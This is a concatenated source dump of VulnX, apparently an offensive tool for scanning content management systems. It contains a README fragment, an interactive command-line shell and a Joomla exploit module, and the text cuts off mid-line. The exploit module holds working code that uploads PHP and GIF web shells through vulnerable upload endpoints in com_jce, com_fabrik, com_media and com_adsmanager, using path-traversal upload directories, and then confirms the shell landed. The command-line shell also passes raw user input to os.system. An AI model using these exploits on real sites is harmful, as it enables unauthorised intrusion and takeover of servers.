286 | - [v1.1](https://github.com/anouarbensaad/vulnx/releases/tag/v1.1)
287 |
288 | -------------------------------------
289 |
290 | ### :warning: Warning!
291 |
292 | ***I Am Not Responsible of any Illegal Use***
293 |
294 | -------------------------------------
295 |
296 | ### _🕷️ Contribution & License_
297 |
298 | You can contribute in following ways:
299 |
300 | - [Report bugs & add issues](https://github.com/anouarbensaad/VulnX/issues/new)
301 | - Search for new vulnerability
302 | - Develop plugins
303 | - Searching Exploits
304 | - Give suggestions **(Ideas)** to make it better
305 |
306 | Do you want to have a conversation in private? email me : Bensaad.tig@gmail.com
307 |
308 | ***VulnX*** is licensed under [GPL-3.0 License](https://github.com/anouarbensaad/VulnX/blob/master/LICENSE)
309 |
--------------------------------------------------------------------------------
/modules/cli/cli.py:
--------------------------------------------------------------------------------
1 |
2 | import sys
3 |
4 | import time
5 | import os
6 | import re
7 | import readline
8 | import glob
9 | import subprocess
10 | from common.colors import end, W, R, B, bannerblue2
11 | from common.banner import banner
12 | from common.requestUp import random_UserAgent
13 | from common.uriParser import parsing_url
14 | from modules.cli.helpers import Helpers
15 | from modules.dorks.engine import Dork
16 | from modules.detector import CMS
17 |
18 | url_regx = re.compile(r'^set url .+')
19 | dork_regx = re.compile(r'^dork')
20 | exec_regx = re.compile(r'^exec .+')
21 | help_regx = re.compile(r'^help')
22 | history_regx = re.compile(r'^history')
23 | exit_regx = re.compile(r'^exit')
24 | cls_regx = re.compile(r'^clear')
25 | var_regx = re.compile(r'^variable')
26 | back_regx = re.compile(r'^back')
27 | run_regx = re.compile(r'^run')
28 | output = re.compile(r'^output \w+$')
29 | page = re.compile(r'^page \d+$')
30 | dorkname_regx = re.compile(r'^set dork .+')
31 | list_regx = re.compile(r'^list')
32 |
33 | W_UL = "\033[4m"
34 | RED_U = '\033[1;1;91m'
35 | man_gloabal = ["help", "clear", "use", "info", "set", "variables", "history", "exec", "dork"]
36 | man_dork = ["help", "list", "set dork", "clear", "history", "variables", "exec", "back"]
37 | man_setdork = ["help", "output", "page", "run", "clear", "exec", "history", "variables", "back"]
38 | man_dorkpage = ["help", "output", "run", "clear", "exec", "history", "variables", "back"]
39 | man_dorkoutput = ["help", "page", "run", "clear", "exec", "history", "variables", "back"]
40 | man_dorkpage_output = [ "help", "run", "clear", "exec", "history", "variables", "back" ]
41 | history=[]
42 |
43 | # VARIABLE
44 | numberpage = 1 # default page−dork variable
45 | output_dir = 'logs' # default output−dork
46 | dorkname = ''
47 | url = ''
48 | timeout = ''
49 |
50 | headers = {
51 | 'host': 'google.com',
52 | 'User-Agent': random_UserAgent(),
53 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
54 | 'Accept-Language': 'en-US,en;q=0.5',
55 | 'Connection': 'keep-alive', }
56 |
57 | class CLI():
58 |
59 | def __init__(self,headers=None):
60 | self.headers = headers
61 |
62 | def run_exploits(self,url,headers):
63 | cms = CMS(url=url,headers=headers,exploit=True)
64 | cms.instanciate()
65 |
66 | def dork_variable(self,dorkname, output, page):
67 | print("""
68 | VARIABLE VALUE
69 | -------- -----
70 | dorkname %s
71 | output %s
72 | pages %s
73 |
74 | """ % (dorkname, output, page))
75 |
76 | def url_variable(self,url, timeout):
77 | print("""
78 | VARIABLE VALUE
79 | -------- -----
80 | url %s
81 | timeout %s
82 |
83 | """ % (url, timeout))
84 |
85 | def global_variables(self,dorkname, output, page, url, timeout):
86 | print("""
87 | VARIABLE VALUE
88 | -------- -----
89 | url %s
90 | timeout %s
91 | dorkname %s
92 | output %s
93 | pages %s
94 |
95 | """ % (dorkname, output, page, url, timeout))
96 |
97 | def __clearscreen__(self):
98 | return os.system('clear')
99 |
100 | def createListCompleter(self, ll):
101 | def listCompleter(text, state):
102 | line = readline.get_line_buffer()
103 | if not line:
104 | return [c + " " for c in ll][state]
105 | else:
106 | return [c + " " for c in ll if c.startswith(line)][state]
107 | self.listCompleter = listCompleter
108 |
109 | def autocompleter(self,manual):
110 | self.createListCompleter(manual)
111 | readline.set_completer_delims('\t')
112 | readline.parse_and_bind("tab: complete")
113 | readline.set_completer(self.listCompleter)
114 |
115 | def _exec(self,cmd):
116 | regx = r'^exec (.+)'
117 | try:
118 | command = re.search(re.compile(regx), cmd).group(1)
119 | except AttributeError: # No match is found
120 | command = re.search(re.compile(regx), cmd)
121 | if command:
122 | return os.system(command)
123 |
124 | def get_dork(self,pattern):
125 | dork_search = r'^set dork (.+)'
126 | try:
127 | dork = re.search(re.compile(dork_search), pattern).group(1)
128 | except AttributeError: # No match is found
129 | dork = re.search(re.compile(dork_search), pattern)
130 | if dork:
131 | return dork
132 |
133 | def set_page(self,page):
134 | page_search = r'^page (\d+$)'
135 | try:
136 | page = re.search(re.compile(page_search), page).group(1)
137 | except AttributeError: # No match is found
138 | page = re.search(re.compile(page_search), page)
139 | if page:
140 | return int(page)
141 |
142 | def set_output(self,directory):
143 | output = r'^output (\w+$)'
144 | try:
145 | rep = re.search(re.compile(output), directory).group(1)
146 | except AttributeError: # No match is found
147 | rep = re.search(re.compile(output), directory)
148 | if rep:
149 | return rep
150 |
151 | def get_url(self, pattern):
152 | url_search = r'^set url (.+)'
153 | try:
154 | url = re.search(re.compile(url_search), pattern).group(1)
155 | except AttributeError: # No match is found
156 | url = re.search(re.compile(url_search), pattern)
157 | if url:
158 | return url # ParseURL(url)
159 |
160 | def cli_dork(self,interepter):
161 | helpers = Helpers()
162 |
163 | while True:
164 |
165 | self.autocompleter(man_dork)
166 | cmd_interpreter = input("{0}{1}vulnx{2}{3} ({4}Dorks{5})>> {6}" .format(bannerblue2, W_UL, end, W, B, W, end))
167 | history.append(cmd_interpreter)
168 | if back_regx.search(cmd_interpreter):
169 | break
170 | if list_regx.search(cmd_interpreter):
171 | print('\n{0}[*]{1} Listing dorks name..' .format (B, end))
172 | if cls_regx.search(cmd_interpreter) or cmd_interpreter == 'cls':
173 | self.__clearscreen__()
174 | if exit_regx.search(cmd_interpreter) or cmd_interpreter == 'quit':
175 | sys.exit()
176 | if help_regx.search(cmd_interpreter) or cmd_interpreter == '?':
177 | helpers._dorks_action_help()
178 |
179 | if history_regx.search(cmd_interpreter):
180 | for i in range(len(history)):
181 | print(" {0} {1}" .format(i+1, history[i-1]))
182 | if exec_regx.search(cmd_interpreter):
183 | self._exec(cmd_interpreter)
184 | if var_regx.search(cmd_interpreter):
185 | self.dork_variable(dorkname, output_dir, numberpage)
186 | if dorkname_regx.search(cmd_interpreter):
187 |
188 | while True:
189 |
190 | self.autocompleter(man_setdork)
191 | cmd_interpreter_wp = input("{0}{1}vulnx{2}{3} ({4}Dorks-{5}{6})>> {7}" .format (bannerblue2, W_UL, end, W, B, self.get_dork(cmd_interpreter), W, end))
192 | history.append(cmd_interpreter_wp)
193 | '''SET PAGE VARIABLE.'''
194 |
195 | if page.search(cmd_interpreter_wp):
196 |
197 | while True:
198 |
199 | self.autocompleter(man_dorkpage)
200 | cmd_interpreter_wp_page = input("{0}{1}vulnx{2}{3} ({4}Dorks-{5}-{6}{7})>> {8}" .format (
201 | bannerblue2, W_UL, end, W, B, self.get_dork(cmd_interpreter), self.set_page(cmd_interpreter_wp), W, end))
202 | history.append(cmd_interpreter_wp_page)
203 | if output.search(cmd_interpreter_wp_page):
204 | while True:
205 | self.autocompleter(man_dorkoutput)
206 | cmd_interpreter_wp_page_output = input("{0}{1}vulnx{2}{3} ({4}Dorks-{5}-{6}{7})>> {8}" .format (
207 | bannerblue2, W_UL, end, W, B, self.get_dork(cmd_interpreter), self.set_page(cmd_interpreter_wp), W, end))
208 | history.append(cmd_interpreter_wp_page_output)
209 |
210 | if run_regx.search(cmd_interpreter_wp_page_output):
211 | print('\n')
212 | DEngine = Dork(exploit=self.get_dork(cmd_interpreter),headers=self.headers,pages=self.set_page(cmd_interpreter_wp))
213 | DEngine.search()
214 | if run_regx.search(cmd_interpreter_wp_page_output):
215 | print('\n')
216 | if back_regx.search(cmd_interpreter_wp_page_output):
217 | break
218 | if help_regx.search(cmd_interpreter_wp_page_output) or cmd_interpreter_wp_page_output == '?':
219 | helpers._dorks_setdork_page_output_help()
220 | if cls_regx.search(cmd_interpreter_wp_page_output) or cmd_interpreter_wp_page_output == 'cls':
221 | self.__clearscreen__()
222 | if exit_regx.search(cmd_interpreter_wp_page_output) or cmd_interpreter_wp_page_output == 'quit':
223 | sys.exit()
224 | if history_regx.search(cmd_interpreter_wp_page_output):
225 | for i in range(len(history)):
226 | print(" {0} {1}" .format(i+1, history[i-1]))
227 | if exec_regx.search(cmd_interpreter_wp_page_output):
228 | self._exec(
229 | cmd_interpreter_wp_page_output)
230 |
231 |
232 |
233 | if run_regx.search(cmd_interpreter_wp_page):
234 | print('\n')
235 | DEngine = Dork(exploit=self.get_dork(cmd_interpreter),headers=self.headers,pages=self.set_page(cmd_interpreter_wp))
236 | DEngine.search()
237 | if run_regx.search(cmd_interpreter_wp_page):
238 | print('\n')
239 | if back_regx.search(cmd_interpreter_wp_page):
240 | break
241 | if help_regx.search(cmd_interpreter_wp_page) or cmd_interpreter_wp_page == '?':
242 | Helpers._dorks_setdork_page_help()
243 | if cls_regx.search(cmd_interpreter_wp_page) or cmd_interpreter_wp_page == 'cls':
244 | self.__clearscreen__()
245 | if exit_regx.search(cmd_interpreter_wp_page) or cmd_interpreter_wp_page == 'quit':
246 | sys.exit()
247 | if history_regx.search(cmd_interpreter_wp_page):
248 | for i in range(len(history)):
249 | print(" {0} {1}" .format(i+1, history[i-1]))
250 | if exec_regx.search(cmd_interpreter_wp_page):
251 | self._exec(cmd_interpreter_wp_page)
252 | if var_regx.search(cmd_interpreter_wp_page):
253 | self.dork_variable(self.get_dork(cmd_interpreter), output_dir, self.set_page(cmd_interpreter_wp))
254 |
255 |
256 | def general(self,cmd):
257 | while True:
258 | self.autocompleter(man_gloabal)
259 | cmd = input("%s%svulnx%s > " % (bannerblue2, W_UL, end))
260 | history.append(cmd)
261 | if url_regx.search(cmd):
262 | # url session
263 | while True:
264 | cmd_interpreter = input("%s%svulnx%s%s target(%s%s%s) > %s" % (
265 | bannerblue2, W_UL, end, W, R, self.get_url(cmd), W, end))
266 | history.append(cmd_interpreter)
267 | if cmd_interpreter == 'back':
268 | break
269 | elif cmd_interpreter == 'run exploit':
270 | print('\n%s[*]%s Running exploits..' % (B, end))
271 | root = self.get_url(cmd)
272 | if root.startswith('http'):
273 | url_root = root
274 | else:
275 | url_root = 'http://'+url_root
276 | self.run_exploits(url_root,self.headers)
277 | elif help_regx.search(cmd_interpreter) or cmd_interpreter == '?':
278 | Helpers._url_action_help()
279 | elif exit_regx.search(cmd_interpreter) or cmd_interpreter == 'quit':
280 | sys.exit()
281 | else:
282 | print("use (help) (?) to show man commands.")
283 | elif dork_regx.search(cmd):
284 | # dork session
285 | self.cli_dork(cmd)
286 | elif exit_regx.search(cmd) or cmd == 'quit':
287 | sys.exit()
288 | elif help_regx.search(cmd) or cmd == '?':
289 | Helpers._general_help()
290 | elif cls_regx.search(cmd) or cmd == 'cls':
291 | self.__clearscreen__()
292 | elif history_regx.search(cmd):
293 | for i in range(len(history)):
294 | print(" %s %s" % (i+1, history[i-1]))
295 | elif exec_regx.search(cmd):
296 | self._exec(cmd)
297 | elif var_regx.search(cmd):
298 | self.global_variables(dorkname, output_dir,
299 | numberpage, url, timeout)
300 | else:
301 | print("use (help) (?) to show man commands.")
302 |
303 |
--------------------------------------------------------------------------------
/modules/exploits/joomla_exploits.py:
--------------------------------------------------------------------------------
1 | import re
2 | import random
3 | import datetime
4 | import requests
5 | now = datetime.datetime.now()
6 | year = now.strftime('%Y')
7 | month= now.strftime('%m')
8 |
9 | import os
10 | from common.colors import failexploit , vulnexploit , que , info , good ,run,W
11 |
12 | class JOOExploits(object):
13 |
14 | def __init__(self, url, headers):
15 | self.url = url
16 | self.headers = headers
17 |
18 | def com_jce(self):
19 | self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
20 | endpoint = self.url+"/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20"
21 | data = {
22 | 'upload-dir':'./../../',
23 | 'upload-overwrite':0,
24 | 'Filedata' : [open('shell/VulnX.gif','rb')],
25 | 'action':'Upload',
26 | }
27 | requests.post(endpoint, data=data, headers=self.headers,verify=False).text
28 | dump_data = self.url + "/VulnX.gif"
29 | res=requests.get(dump_data, self.headers).text
30 | matches = re.findall(re.compile(r'/image/gif/'),res)
31 | if matches:
32 | return dict(
33 | url=self.url,
34 | name="com_jce",
35 | status=True,
36 | shell=dump_data
37 | )
38 | else:
39 | return dict(
40 | url=self.url,
41 | name="com_jce",
42 | status=False
43 | )
44 |
45 | def com_media(self):
46 | self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
47 | endpoint = self.url+"/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder="
48 | self.headers={"content-type":["form-data"]}
49 | fieldname = 'Filedata[]'
50 | shell = open('shell/VulnX.txt','rb')
51 | data = {
52 | fieldname:shell,
53 | }
54 | requests.post(endpoint, data=data, headers=self.headers,verify=False).text
55 | dump_data = endpoint+"/images/XAttacker.txt"
56 | response = requests.get(dump_data,self.headers,verify=False).text
57 | if re.findall(r'Tig', response):
58 | return dict(
59 | url=self.url,
60 | name="com_media",
61 | status=True,
62 | shell=dump_data
63 | )
64 | else:
65 | return dict(
66 | url=self.url,
67 | name="com_media",
68 | status=False
69 | )
70 |
71 |
72 | #def com_jdownloads(self):
73 | # endpoint = self.url+"index.php?option=com_jdownloads&Itemid=0&view=upload"
74 | # files = open('shell/VulnX.zip','rb')
75 | # shell = open('shell/VulnX.gif','rb')
76 | # data = {
77 | # 'name' : 'Tig',
78 | # 'mail' :'tig@tig.com',
79 | # 'filetitle' :'Tig',
80 | # 'catlist':'1',
81 | # 'license':'0',
82 | # 'language':'0',
83 | # 'system':'0',
84 | # 'file_upload': files,
85 | # 'pic_upload':shell,
86 | # 'description':'zot
',
87 | # 'senden':'Send file',
88 | # 'option':'com_jdownloads',
89 | # 'view':'upload',
90 | # 'send':'1',
91 | # '24c22896d6fe6977b731543b3e44c22f':'1',
92 | # }
93 | # requests.post(endpoint, options, self.headers).text
94 | # dump_data = endpoint+"/images/jdownloads/screenshots/VulnX.gif?Vuln=X"
95 | # response = requests.get(dump_data).text
96 | # if re.findall(r'Vuln X', response):
97 | # print (' %s com_jdownloads %s %s' %(que,vulnexploit,dump_data))
98 | # else:
99 | # print (' %s com_jdownloads %s' %(que , failexploit))
100 |
101 | #def com_jdownloadsb(self):
102 | # self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
103 | # endpoint = self.url+"/images/jdownloads/screenshots/VulnX.php"
104 | # self.headers={"content-type":["form-data"]}
105 | # files = open('shell/VulnX.zip','rb')
106 | # shell = open('shell/VulnX.gif','rb')
107 | # data = {
108 | # 'name' : 'Tig',
109 | # 'mail' :'tig@tig.com',
110 | # 'filetitle' :'Tig',
111 | # 'catlist':'1',
112 | # 'license':'0',
113 | # 'language':'0',
114 | # 'system':'0',
115 | # 'file_upload': files,
116 | # 'pic_upload':shell,
117 | # 'description':'zot
',
118 | # 'senden':'Send file',
119 | # 'option':'com_jdownloads',
120 | # 'view':'upload',
121 | # 'send':'1',
122 | # '24c22896d6fe6977b731543b3e44c22f':'1'
123 | # }
124 | # response = requests.get(endpoint,self.headers).text
125 | # if re.findall(r'200', response):
126 | # print (' %s com_jdownloads2 %s %s' %(que,vulnexploit,endpoint))
127 | # else:
128 | # print (' %s com_jdownloads2 %s' %(que , failexploit))
129 |
130 | def com_fabrika(self):
131 | self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
132 | endpoint = self.url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
133 |
134 | self.headers={"content-type":["form-data"]}
135 | fieldname = 'file'
136 | shell = open('shell/VulnX.php','rb')
137 | data = {
138 | fieldname:shell,
139 | }
140 | requests.post(endpoint, data=data, headers=self.headers).text
141 | dump_data = endpoint+"/images/XAttacker.txt"
142 | response = requests.get(dump_data,self.headers,verify=False).text
143 | if re.findall(r'Vuln X', response):
144 | return dict(
145 | url=self.url,
146 | name="com_fabrika",
147 | status=True,
148 | shell=dump_data
149 | )
150 | else:
151 | return dict(
152 | url=self.url,
153 | name="com_fabrika",
154 | status=False
155 | )
156 |
157 | def com_fabrikb(self):
158 | self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
159 | endpoint = self.url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
160 |
161 | self.headers={"content-type":["form-data"]}
162 | fieldname = 'file'
163 | shell = open('shell/VulnX.txt','rb')
164 | data = {
165 | fieldname:shell,
166 | }
167 | requests.post(endpoint, data=data, headers=self.headers,verify=False).text
168 | dump_data = endpoint+"/images/XAttacker.txt"
169 | response = requests.get(dump_data,self.headers,verify=False).text
170 | if re.findall(r'Tig', response):
171 | return dict(
172 | url=self.url,
173 | name="com_fabrik2",
174 | status=True,
175 | shell=dump_data
176 | )
177 | else:
178 | return dict(
179 | url=self.url,
180 | name="com_fabrik2",
181 | status=False
182 | )
183 |
184 | def com_foxcontact(self):
185 | self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
186 | # foxf = {'components/com_foxcontact/lib/file-uploader.php?cid={}&mid={}&qqfile=/../../_func.php',
187 | # 'index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id={}?cid={}&mid={}&qqfile=/../../_func.php',
188 | # 'index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id={}&cid={}&mid={}&owner=module&id={}&qqfile=/../../_func.php',
189 | # 'components/com_foxcontact/lib/uploader.php?cid={}&mid={}&qqfile=/../../_func.php'}
190 | endpoint = self.url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
191 |
192 | self.headers={"content-type":["form-data"]}
193 | fieldname = 'file'
194 | shell = open('shell/VulnX.txt','rb')
195 | data = {
196 | fieldname:shell,
197 | }
198 | requests.post(endpoint, data=data, headers=self.headers,verify=False).text
199 | dump_data = endpoint+"/images/XAttacker.txt"
200 | response = requests.get(dump_data,self.headers).text
201 | if re.findall(r'Tig', response):
202 | return dict(
203 | url=self.url,
204 | name="com_foxcontact",
205 | status=True,
206 | shell=dump_data
207 | )
208 | else:
209 | return dict(
210 | url=self.url,
211 | name="com_foxcontact",
212 | status=False
213 | )
214 |
215 | def com_adsmanager(self):
216 | endpoint = self.url + "/index.php?option=com_adsmanager&task=upload&tmpl=component"
217 | img = open('shell/VulnX.php', 'rb')
218 | name_img= os.path.basename('shell/VulnX.html')
219 | files= {'image': (name_img,img,'form-data',{'Expires': '0'}) }
220 | requests.post(endpoint,files=files ,headers=self.headers,verify=False)
221 | shellup = self.url + "/tmp/plupload/VulnX.html"
222 | checkShell = requests.get(shellup).text
223 | statusCheck = re.findall(re.compile(r'VulnX'),checkShell)
224 | if statusCheck:
225 | return dict(
226 | url=self.url,
227 | name="com_adsmanager",
228 | status=True,
229 | shell=shellup
230 | )
231 | else:
232 | return dict(
233 | url=self.url,
234 | name="com_adsmanager",
235 | status=False
236 | )
237 |
238 | def com_blog(self):
239 | endpoint = self.url + "/index.php?option=com_myblog&task=ajaxupload"
240 | checkShell = requests.get(endpoint,headers=self.headers,verify=False).text
241 | statusCheck = re.findall(re.compile(r'has been uploaded'),checkShell)
242 | if statusCheck:
243 | return dict(
244 | url=self.url,
245 | name="com_blog",
246 | status=True,
247 | shell=''
248 | )
249 | else:
250 | return dict(
251 | url=self.url,
252 | name="com_blog",
253 | status=False
254 | )
255 |
256 | def com_users(self):
257 | endpoint = self.url + "/index.php?option=com_users&view=registration"
258 | checkShell = requests.get(endpoint,headers=self.headers,verify=False).text
259 | statusCheck = re.findall(re.compile(r'jform_email2-lbl'),checkShell)
260 | if statusCheck:
261 | return dict(
262 | url=self.url,
263 | name="com_users",
264 | status=True,
265 | shell=''
266 | )
267 | else:
268 | return dict(
269 | url=self.url,
270 | name="com_users",
271 | status=False
272 | )
273 |
274 | def comweblinks(self):
275 | endpoint = self.url + "/index.php?option=com_media&view=images&tmpl=component&e_name=jform_description&asset=com_weblinks&author="
276 | token = re.findall(re.compile(r'